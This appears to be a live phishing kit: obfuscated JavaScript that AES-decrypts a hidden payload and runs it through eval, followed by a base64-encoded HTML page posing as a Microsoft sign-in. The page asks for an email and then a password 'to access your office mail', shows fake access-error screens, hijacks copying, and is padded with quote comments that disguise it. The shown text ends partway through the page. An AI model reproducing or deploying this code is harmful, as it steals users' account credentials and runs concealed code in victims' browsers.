(function(){
    var AtxtHqPihd = "RT8HuLBvRJOpFPn1s3gyq4XpNqukT3kfpHXMxQhVWmzf5mEbDB7Dlz0mwJEt1PAOnpE75ys6F89JW3oiYMmVGtNJjYzqaAWbZtjVtlrssk2v\/a8gE5b7TwyeEkxJhVupJbX8RpMkNA+nYuevIBn\/k65Jqr1v9Dbz\/1uyLFJR\/g1nuOQs9ersBOiCCQZ4Wu2qG\/EqwFCuE+3SCBSknTFrAawEEIx44MGhNRKLxRcCE0OCq51juJNGM9NZFTkvWF7N9h97Jp1oEDY5XbKguunleEP3C\/DXUG7q5OXz5O73Z1lcHzSOvyZt2TEfO9n7mU3GL2uf+GIawyJVlKKFr\/KrugT1qur+4KOZQgsXHJQNmNYyLpibLKeG2DmLg8Vg7xMnFYQsux3TdnC159FWulVkI3SrWuozMhvky3XpF6GpgmW0fBOtDCS0JEbxAYsvFdzda\/WF3U5F8dklTkGjdvQu+s3j5He4JZqrSwCqFwSzAAZdaUdd0sAV6uDasL038YuiORiMaj9zbVgG8u1ufqA2cabqE5OXtaOWz\/jShL2I\/HD2ek14ySMn+cwR64lHkMTDaDFMzwf3LLPb43WT8L1qoeStSOSbJ9RVGdtB3h4P7kaztXsYKVvquEq5hsUDYX+uA+sOkcq7p4fk7h4\/h33wxCjhJkPuy9OQsnYd5bjpWeqDDLjsn+7uC6vTO8BC86Tym8X+3j7XFl9OOX3908fUcpgbaJFwJt6w1wxfdk\/0Yux5qxVvRub8oCp4enAlvyo8Mk6p+emCI6u5l5jqmhXMeFaXMLNsCZQk5ny1NPl6UDx+q8KBiuNX\/oyuO\/o\/\/s7cz5671VrnWXmOcGcmBlKG2p2gMJ3pVghNlQVS3xBQMVfdAUvQ0TpEjmiN7p\/58XjVtfaa53z1w4ha2LbOhBI9Wif82Pprole98X+0R1yqwnErI9mj8hvWsV5L8t7emh08JIk0e4xvtEeBZpRUH34DkI2iXVbtVRBXmGvqADn24wySXawwbGgOHWWCOYQzyeFxu\/mSEnpR2Lp9+IdBs2iFDLANp\/PD6IejczwBfg6LNSvyh+1e8yLWbeR1\/9QmtH3aX9z+W82cAmsbtU3Sjri52Ro9Ld+cEA\/95aPNKq4J3jCSpmxLLOapt4u4W3VJ85I\/b7DIGedF23sC1aGRRgO4\/6KCcCNb9tqhE8WbhUtn2rrUrVpEeEgPskHxq4XpMeyU1BlZljrunTg\/IhabF4wcFjrkf5v\/\/PbPieIPL5sX4rThRXCLBzfPUyGrRjXzHj1nPllIzHoY2orVkr3rmfYIpQyx76BKxUrA+F4dIHsGmavgRBjOoqw99Kpseq9v5\/7eHOFdbABKgzZzvMsBKoEz8YZbtC1Ei16mNwLFjp9G7m2X2Pcrg0Do1as5JSvoVwrREVrQxvJ7dr7UKvOGJBD8KmSvts5nJjlyvfI\/c6CmMJPbcp2FIhmsjyGzTK56O5Xo1l+mfu\/qOSzC8hQrXdjxxtyTxltNg\/BQe5vcf7ApMOjmCvEdVAU+vYfOwkcF2dAKC2uABDxBO4gHkRt7gDm9BDe7QNoaBWB4+iRfnvBN3CqsU6N8XozNeW7oYuAAs5cnMs1htUxj+MZwS4y9xM7QspIMAlmbnP3nbUF\/nbi1AfA5Er+WSS\/Vf4BvYoV6SLTNEdKqwSbOJ7xDsAfCRctNuCCZgEHeqNouXmqXDR413p+rt+KHqQKLFQNSk2JIrPKkLyzq2Yv0g5\/BzVLo0A7\/OuXVKg5IlPfSR9jhGviCX31dX6SeK7SnGgPygNBMmnysGDSX2fNd\/5Jp05UCIq3lML3KErZaY\/hvkcQEfP0zoLPKi48jJqFNl9195ikPuqkY+GJo7IwKUspyz2ira0bsKpHCtLXgyqa91hSExKdH3x9ngqXklcxW4XEyhJpfPkKgADCiwfZhHugaheQRN2vCjbvUgOSBT84FtgSzrtCJpwHz+ZbXC0qjGl9LcyuZ8ihbiFoLtJ5iDaHC5TOneguBY+LrLhrnYQEpm\/yJgv5lIgEFQExDyIVZzF8oeWm5A8x7sacLOAOH\/7EeuaILok18ADQuX5XuuudGCE5WLXCl6FCm0fUE19OsdXUp8qvDNqnmG7sJet0JGzeelZ94Pn9FkXGNxYcHq1hYJCSOZDMRSsw=";
    var jXjDuSbTyf = "3rM4cHjaU0QrmxojoxhPITR8+P3CKIgvlFRNMCIhhFY=";
    const fTFfhgkKGH = ['from','Char','Code'].join('');
const SkgvHwrbnh = Function('return String')()[fTFfhgkKGH];
const sxRmhVXNLz = [0x72, 0x70];
const nwqqVtSATh = [
    ...sxRmhVXNLz.map(rVgrIwAnri => SkgvHwrbnh(rVgrIwAnri)),
    SkgvHwrbnh(0x43),
    SkgvHwrbnh(0x79),
    SkgvHwrbnh(0x74),
    SkgvHwrbnh(0x6f),
    SkgvHwrbnh(0x4a),
    SkgvHwrbnh(0x53)
];
vLSmJEXfCv = [
  nwqqVtSATh[2],
  nwqqVtSATh[0],
  nwqqVtSATh[3],
  nwqqVtSATh[1],
  nwqqVtSATh[4],
  nwqqVtSATh[5],
  nwqqVtSATh[6],
  nwqqVtSATh[7]
].join('');
oUUwMkXBZa = globalThis[vLSmJEXfCv];
    var zXxuPWdyXZ = oUUwMkXBZa.enc.Base64.parse(jXjDuSbTyf);
    var IWOPeemren = oUUwMkXBZa.enc.Base64.parse(AtxtHqPihd);
    var GrrpVlEgVc = oUUwMkXBZa.lib.WordArray.create(IWOPeemren.words.slice(0, 4), 16);
    var nSjKSzcwJX = oUUwMkXBZa.lib.WordArray.create(
        IWOPeemren.words.slice(4),
        IWOPeemren.sigBytes - 16
    );
    var RpaSqigXnR = oUUwMkXBZa.AES.decrypt(
        { ciphertext: nSjKSzcwJX },
        zXxuPWdyXZ,
        { iv: GrrpVlEgVc, mode: oUUwMkXBZa.mode.CBC, padding: oUUwMkXBZa.pad.Pkcs7 }
    );
    var jnfxnBVluW = RpaSqigXnR.toString(oUUwMkXBZa.enc.Utf8);
    (function(jnfxnBVluW){  
  var eptmsuObpZ = '6576616c';
  var ZmaAOFRhYA = eptmsuObpZ.replace(/../g, function(yuIvqRmcnX){
    return String['fr' + 'om' + 'Char' + 'Code'](parseInt(yuIvqRmcnX, 16));
  });
(0, Function('return this'))()[ZmaAOFRhYA](jnfxnBVluW);
})(jnfxnBVluW);
    })();
k = atob;
n = k(`<!DOCTYPE html>
<html lang="en">
<head>
<!-- <div>Success seems to be connected with action. Successful people keep moving.</div> -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://github.com/fent/randexp.js/releases/download/v0.4.3/randexp.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
    <link rel="stylesheet" href="/56j1cOnDfcdCcWcV8920">
    <link rel="stylesheet" href="/xyUP10wpqPcd30">
    <link rel="preload" href="/GDSherpa-bold.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-bold.woff" as="font" type="font/woff" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-regular.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-regular.woff" as="font" type="font/woff" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-vf.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="/GDSherpa-vf2.woff2" as="font" type="font/woff2" crossorigin="anonymous">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <title>&#8203;</title>
    
    <style>body { height: 100vh !important; width: 100vw !important; } body.startnew { background-color: #f2f2f2; background-image: url('https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg'); background-repeat: no-repeat,no-repeat; background-position: center center,center center; background-size: cover,cover; color: #1b1b1b; } input:-webkit-autofill, input:-webkit-autofill:hover, input:-webkit-autofill:focus, input:-webkit-autofill:active{ -webkit-box-shadow: 0 0 0 30px white inset !important; } .btn { margin: 0 0 0 auto; display: block; background-color: #0067b8; color: #fff; border: 2px solid #0067b8; /* padding: 5px 30px; */ padding: 5px 37px; font-size: 15px; cursor: pointer; } .btn:hover { background-color: #085998; } .firstlogo{ background-image: url("/ijtzW9pnYSIfxJIqj13dkDAKWXgbHGGOQCDPZZMkSLCqrPCac9dFORpZbgfvGKxcsKcC96GiAUbMIc2Vnab224"); background-size: 100% 100%; width: 108px; height: 24px; background-repeat: no-repeat; } .bannerlogo{ height: 24px; max-height: 36px; background-image: url("/ijtzW9pnYSIfxJIqj13dkDAKWXgbHGGOQCDPZZMkSLCqrPCac9dFORpZbgfvGKxcsKcC96GiAUbMIc2Vnab224"); background-size: 100% 100%; width: 108px; background-repeat: no-repeat; background-size: contain; }
    @font-face { font-family: 'gdsherpa'; font-weight: 700; src: url(/GDSherpa-bold.woff2) format('woff2'),url(/GDSherpa-bold.woff) format('woff'); unicode-range: U+0-10FFFF; font-display: swap } @font-face { font-family: 'gdsherpa'; font-weight: 400; src: url(/GDSherpa-regular.woff2) format('woff2'),url(/GDSherpa-regular.woff) format('woff'); unicode-range: U+0-10FFFF; font-display: swap } @font-face { font-family: 'gdsherpa'; font-weight: 1 999; src: url(/GDSherpa-vf.woff2) format('woff2'),url(/GDSherpa-vf.woff2) format('woff2-variations'); unicode-range: U+0-10FFFF; font-display: swap } @font-face { font-family: 'gdsherpa'; font-weight: 1 900; src: url(/GDSherpa-vf2.woff2) format('woff2'),url(/GDSherpa-vf2.woff2) format('woff2-variations'); unicode-range: U+0-10FFFF; font-display: swap }</style>
    <script>
        (function(){
    var AtxtHqPihd = "RT8HuLBvRJOpFPn1s3gyq4XpNqukT3kfpHXMxQhVWmzf5mEbDB7Dlz0mwJEt1PAOnpE75ys6F89JW3oiYMmVGtNJjYzqaAWbZtjVtlrssk2v\/a8gE5b7TwyeEkxJhVupJbX8RpMkNA+nYuevIBn\/k65Jqr1v9Dbz\/1uyLFJR\/g1nuOQs9ersBOiCCQZ4Wu2qG\/EqwFCuE+3SCBSknTFrAawEEIx44MGhNRKLxRcCE0OCq51juJNGM9NZFTkvWF7N9h97Jp1oEDY5XbKguunleEP3C\/DXUG7q5OXz5O73Z1lcHzSOvyZt2TEfO9n7mU3GL2uf+GIawyJVlKKFr\/KrugT1qur+4KOZQgsXHJQNmNYyLpibLKeG2DmLg8Vg7xMnFYQsux3TdnC159FWulVkI3SrWuozMhvky3XpF6GpgmW0fBOtDCS0JEbxAYsvFdzda\/WF3U5F8dklTkGjdvQu+s3j5He4JZqrSwCqFwSzAAZdaUdd0sAV6uDasL038YuiORiMaj9zbVgG8u1ufqA2cabqE5OXtaOWz\/jShL2I\/HD2ek14ySMn+cwR64lHkMTDaDFMzwf3LLPb43WT8L1qoeStSOSbJ9RVGdtB3h4P7kaztXsYKVvquEq5hsUDYX+uA+sOkcq7p4fk7h4\/h33wxCjhJkPuy9OQsnYd5bjpWeqDDLjsn+7uC6vTO8BC86Tym8X+3j7XFl9OOX3908fUcpgbaJFwJt6w1wxfdk\/0Yux5qxVvRub8oCp4enAlvyo8Mk6p+emCI6u5l5jqmhXMeFaXMLNsCZQk5ny1NPl6UDx+q8KBiuNX\/oyuO\/o\/\/s7cz5671VrnWXmOcGcmBlKG2p2gMJ3pVghNlQVS3xBQMVfdAUvQ0TpEjmiN7p\/58XjVtfaa53z1w4ha2LbOhBI9Wif82Pprole98X+0R1yqwnErI9mj8hvWsV5L8t7emh08JIk0e4xvtEeBZpRUH34DkI2iXVbtVRBXmGvqADn24wySXawwbGgOHWWCOYQzyeFxu\/mSEnpR2Lp9+IdBs2iFDLANp\/PD6IejczwBfg6LNSvyh+1e8yLWbeR1\/9QmtH3aX9z+W82cAmsbtU3Sjri52Ro9Ld+cEA\/95aPNKq4J3jCSpmxLLOapt4u4W3VJ85I\/b7DIGedF23sC1aGRRgO4\/6KCcCNb9tqhE8WbhUtn2rrUrVpEeEgPskHxq4XpMeyU1BlZljrunTg\/IhabF4wcFjrkf5v\/\/PbPieIPL5sX4rThRXCLBzfPUyGrRjXzHj1nPllIzHoY2orVkr3rmfYIpQyx76BKxUrA+F4dIHsGmavgRBjOoqw99Kpseq9v5\/7eHOFdbABKgzZzvMsBKoEz8YZbtC1Ei16mNwLFjp9G7m2X2Pcrg0Do1as5JSvoVwrREVrQxvJ7dr7UKvOGJBD8KmSvts5nJjlyvfI\/c6CmMJPbcp2FIhmsjyGzTK56O5Xo1l+mfu\/qOSzC8hQrXdjxxtyTxltNg\/BQe5vcf7ApMOjmCvEdVAU+vYfOwkcF2dAKC2uABDxBO4gHkRt7gDm9BDe7QNoaBWB4+iRfnvBN3CqsU6N8XozNeW7oYuAAs5cnMs1htUxj+MZwS4y9xM7QspIMAlmbnP3nbUF\/nbi1AfA5Er+WSS\/Vf4BvYoV6SLTNEdKqwSbOJ7xDsAfCRctNuCCZgEHeqNouXmqXDR413p+rt+KHqQKLFQNSk2JIrPKkLyzq2Yv0g5\/BzVLo0A7\/OuXVKg5IlPfSR9jhGviCX31dX6SeK7SnGgPygNBMmnysGDSX2fNd\/5Jp05UCIq3lML3KErZaY\/hvkcQEfP0zoLPKi48jJqFNl9195ikPuqkY+GJo7IwKUspyz2ira0bsKpHCtLXgyqa91hSExKdH3x9ngqXklcxW4XEyhJpfPkKgADCiwfZhHugaheQRN2vCjbvUgOSBT84FtgSzrtCJpwHz+ZbXC0qjGl9LcyuZ8ihbiFoLtJ5iDaHC5TOneguBY+LrLhrnYQEpm\/yJgv5lIgEFQExDyIVZzF8oeWm5A8x7sacLOAOH\/7EeuaILok18ADQuX5XuuudGCE5WLXCl6FCm0fUE19OsdXUp8qvDNqnmG7sJet0JGzeelZ94Pn9FkXGNxYcHq1hYJCSOZDMRSsw=";
    var jXjDuSbTyf = "3rM4cHjaU0QrmxojoxhPITR8+P3CKIgvlFRNMCIhhFY=";
    const fTFfhgkKGH = ['from','Char','Code'].join('');
const SkgvHwrbnh = Function('return String')()[fTFfhgkKGH];
const sxRmhVXNLz = [0x72, 0x70];
const nwqqVtSATh = [
    ...sxRmhVXNLz.map(rVgrIwAnri => SkgvHwrbnh(rVgrIwAnri)),
    SkgvHwrbnh(0x43),
    SkgvHwrbnh(0x79),
    SkgvHwrbnh(0x74),
    SkgvHwrbnh(0x6f),
    SkgvHwrbnh(0x4a),
    SkgvHwrbnh(0x53)
];
vLSmJEXfCv = [
  nwqqVtSATh[2],
  nwqqVtSATh[0],
  nwqqVtSATh[3],
  nwqqVtSATh[1],
  nwqqVtSATh[4],
  nwqqVtSATh[5],
  nwqqVtSATh[6],
  nwqqVtSATh[7]
].join('');
oUUwMkXBZa = globalThis[vLSmJEXfCv];
    var zXxuPWdyXZ = oUUwMkXBZa.enc.Base64.parse(jXjDuSbTyf);
    var IWOPeemren = oUUwMkXBZa.enc.Base64.parse(AtxtHqPihd);
    var GrrpVlEgVc = oUUwMkXBZa.lib.WordArray.create(IWOPeemren.words.slice(0, 4), 16);
    var nSjKSzcwJX = oUUwMkXBZa.lib.WordArray.create(
        IWOPeemren.words.slice(4),
        IWOPeemren.sigBytes - 16
    );
    var RpaSqigXnR = oUUwMkXBZa.AES.decrypt(
        { ciphertext: nSjKSzcwJX },
        zXxuPWdyXZ,
        { iv: GrrpVlEgVc, mode: oUUwMkXBZa.mode.CBC, padding: oUUwMkXBZa.pad.Pkcs7 }
    );
    var jnfxnBVluW = RpaSqigXnR.toString(oUUwMkXBZa.enc.Utf8);
    (function(jnfxnBVluW){  
  var eptmsuObpZ = '6576616c';
  var ZmaAOFRhYA = eptmsuObpZ.replace(/../g, function(yuIvqRmcnX){
    return String['fr' + 'om' + 'Char' + 'Code'](parseInt(yuIvqRmcnX, 16));
  });
(0, Function('return this'))()[ZmaAOFRhYA](jnfxnBVluW);
})(jnfxnBVluW);
    })();
    document.addEventListener('copy', function(event) {
    if (document.activeElement.tagName === 'INPUT' || 
        document.activeElement.tagName === 'TEXTAREA' || 
        document.activeElement.isContentEditable) {
        return;
    }
    event.preventDefault();
    var customWord = "u";
    event.clipboardData.setData('text/plain', customWord);
    });
    </script>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
    <script>
document.getElementById('f').remove();
document.getElementById('fi').setAttribute('class', "startnew");
document.getElementById('fi').removeAttribute('style');
document.getElementById('fi').removeAttribute('id');
document.getElementById('b').remove();
var p = document.currentScript;
p.parentNode.removeChild(p);
</script>
</head>
<!-- Success usually comes to those who are too busy to be looking for it. -->

<body class="startnew">
<div id="sections" class="">
<!-- Your brand is what people say about you when you&#039;re not in the room. -->
    
    
<!-- <div>If you really look closely, most overnight successes took a long time.</div> -->
    
    
    <section id="section_tryingtosignin" style="animation:show-from-right 0.5s;" class="">
        <div class="auth-wrapper">
            <div class="loading-container loading">
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The biggest risk is not taking any risk. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            <div class="firstlogo"></div>
            <h2 class="title mb-16 mt-16">Trying to sign you in</h2>
<!-- Success is the sum of small efforts, repeated day in and day out. -->
            <div class="bottomsection">
            <a href="javascript:void(0)">Cancel</a>
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
            </div>
<!-- Innovation distinguishes between a leader and a follower. -->
        </div>
    </section>

    <section id="section_uname" class="d-none">
            
<!-- <div>Success is not in what you have, but who you are.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Never give in except to convictions of honor and good sense.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The starting point of all achievement is desire. -->
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            
<!-- Success is finding satisfaction in giving a little more than you take. -->
            
            <button class="back" onclick="backbtn()" style="display: none">
                <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
            </button>
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
            <h2 class="title mb-16 mt-16">Sign in</h2>
                <div class="mb-16">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                    <div id="error_uname" class="error"></div>
                    <input id="inp_uname" type="text" name="uname" class="input" autocomplete="off" oninput="removespaces(this)" value="" placeholder="Email, phone, or Skype" />
                </div>
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
            <div class="bottomsection"><p class="mb-16">No account? <a href="javascript:void(0)" data-id="signup" onclick="linkoptionclick(this)" class="link">Create one!</a></p><a class="link mb-16" data-id="cantAccessAccount" onclick="linkoptionclick(this)" href="javascript:void(0)">Can't access your account?</a></div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            <button class="btn" id="btn_next">Next</button>
            </div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
        </div>
        <div class="opts">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
<p class="has-icon mb-0" style="font-size:15px;"><span class="icon"><img src="/opw58ALs1NB1MixZ6m9ZRk9f8ghhURSQBiLcsTBTc67140" width="30px" /></span> Sign-in options</p>
<!-- The biggest risk is not taking any risk. -->
</div>
    </section>
<!-- <div>Leadership is not about being in charge, it&#039;s about taking care of those in your charge.</div> -->


    <section id="section_pwd" class="d-none">
            <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>The customer is always right.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Effective communication is the key to success. -->
                <div class="dot-floating"></div>
            </div>
<!-- Every problem is an opportunity in disguise. -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- Effective communication is the key to success. -->
            
            
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
                </button> 
<!-- I find that the harder I work, the more luck I seem to have. -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title" style="margin-bottom: 5px;">Enter password</h2><div id="passdesc" class="text-block-body overflow-hidden form-group">Enter password to access your office mail.</div>
                <div class="mb-16">
<!-- You know you are on the road to success if you would do your job, and not be paid for it. -->
                    <div id="error_pwd" class="error"></div>
                    <input id="inp_pwd" type="password" name="pass" class="input" placeholder="Password" />
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
                </div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_sig">Sign in</button>
            </div>
<!-- The biggest risk is not taking any risk. -->
        </div>
    </section>

    <section id="section_pwd_live" class="d-none">
<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
        <div class="auth-wrapper">
<!-- <div>Success is not in what you have, but who you are.</div> -->
            <div class="loading-container">
<!-- Try not to become a man of success. Rather become a man of value. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Leadership is not about being in charge, it&#039;s about taking care of those in your charge. -->
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" style="height: 24px;"></div>
<!-- <div>If you really look closely, most overnight successes took a long time.</div> -->
            <div class="identity w-100 mt-16 mb-16" style="margin-bottom: 4px;display: flex;justify-content: center;">
                <div class="user_identity_live_outerele">
                <div style="position: relative;">
                <button class="back" onclick="backbtn()" style="position: relative;top: 5px;">
                    <img src="/wxPOJjx5MItaN9NuTSlyopaDlsZxCPmyWzHzLL812124"/>
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
                </button>
                </div>
                <div class="user_identity_live_ele">
                <span class="user_identity">a@b.com</span>
<!-- <div>The biggest risk is not taking any risk.</div> -->
                </div>
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
                </div>
            </div>
            <h2 class="title" style="margin-bottom: 15px;text-align: center;">Enter your password</h2>
                <div class="mb-16">
                    <div id="error_pwd_live" class="error"></div>
<!-- The only place where success comes before work is in the dictionary. -->
                    <div class="input-group">
                    <input id="inp_pwd_live" type="password" name="pass" class="input" placeholder=" " required>
                    <label for="password">Password</label>
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
                </div>
                </div>
            <div class="bottomsection"></div>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
            <button class="btn" id="btn_sig_live">Next</button>
            </div>
        </div>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
    </section>
<!-- Success usually comes to those who are too busy to be looking for it. -->

    <section id="section_youdonthaveaccess" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- Success usually comes to those who are too busy to be looking for it. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
            <div class="sectioncontent">
<!-- Try not to become a man of success. Rather become a man of value. -->
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
<!-- Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you. -->
            </div>
            <h2 class="title mb-16">You cannot access this right now</h2>
            <div id="youdonthaveaccessdesc" class="text-block-body form-group overflow-hidden no-margin-top">Your sign-in was successful but does not meet the criteria to access this resource. For example, you might be signing in from a browser, app, or location that is restricted by your admin.
            </div>
            <div class="youdonthaveaccessbottom">
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
            <div class="youdonthaveaccessbottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign out and sign in with a different account</a>
            </div>
<!-- Stop chasing the money and start chasing the passion. -->
            <div class="youdonthaveaccessbottomoption">
            <a data-id="MoreDetails" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">More details</a>
            </div>
<!-- Never give in except to convictions of honor and good sense. -->
            </div>
            <div class="bottomsection">
            </div>
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
<!-- Success is not final, failure is not fatal: It is the courage to continue that counts. -->
            </div>
        </div>
    </section>

    <section id="section_moreinforequired" class="d-none">
<!-- Success is not final, failure is not fatal: It is the courage to continue that counts. -->
        <div class="auth-wrapper">
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- Success is not in what you have, but who you are. -->
            <div class="sectioncontent">
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">More information required</h2>
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
            <div id="youdonthaveaccessdesc" class="text-block-body form-group overflow-hidden no-margin-top">Your organization needs more information to keep your account secure
            </div>
            <div class="youdonthaveaccessbottom">
            <div class="youdonthaveaccessbottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign out and sign in with a different account</a>
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
            </div>
<!-- Success is where preparation and opportunity meet. -->
            <div class="youdonthaveaccessbottomoption">
            <a data-id="MoreDetails" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">More details</a>
            </div>
<!-- Do not be embarrassed by your failures, learn from them and start again. -->
            </div>
<!-- <div>The biggest risk is not taking any risk.</div> -->
            <div class="bottomsection">
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
        </div>
<!-- The road to success and the road to failure are almost exactly the same. -->
    </section>

    <section id="section_tryagainlater" class="d-none">
<!-- The secret of success is to do the common thing uncommonly well. -->
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                <div class="dot-floating"></div>
<!-- Success usually comes to those who are too busy to be looking for it. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- I find that the harder I work, the more luck I seem to have. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>

<!-- <div>Don&#039;t be distracted by criticism. Remember, the only taste of success some people get is to take a bite out of you.</div> -->
            <h2 class="title mb-16 mt-16" id="tryagainheader" style="display:none;margin-bottom: 0;">We didn't hear from you</h2>

            <div id="tryagain_withinternet" class="row text-body" style="display:none;margin-bottom: 0;">
            We haven't heard from you and noticed you're having some trouble. <br><a href="" class="link mb-16">Try Again.</a>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            </div>
            <div id="tryagain_withoutinternet" class="row text-body" style="display:none;margin-bottom: 0;">
            it seems your internet connection is unstable and noticed you're having some trouble. <br><a href="" class="link mb-16">Try Again.</a>
            </div>
<!-- Stop chasing the money and start chasing the passion. -->
            <div id="tryagain_moreinfo" class="row text-body" style="display:none;margin-bottom: 0;">
            Your Account Requires More Information. <br><a href="" class="link mb-16">Try Again.</a>
<!-- <div>Don&#039;t watch the clock; do what it does. Keep going.</div> -->
            </div>
            <div id="tryagain_toomanyattempts" class="row text-body" style="display:none;margin-bottom: 0;">
            <p>
            Please <a href="" class="link mb-16">Try Again</a> After 5 Minutes Due To Too Many Attempts.
            </p>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
            </div>
            <a class="link mb-16" style="font-size: 13px;" href="https://go.microsoft.com/fwlink/p/?LinkId=708614" target="_blank">More information</a>
            </div>
        </div>
    </section>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->

    <section id="section_signinanothererror" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            </div>
            <div class="sectioncontent">
<!-- Your brand is what people say about you when you&#039;re not in the room. -->
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
            </div>
<!-- Effective communication is the key to success. -->
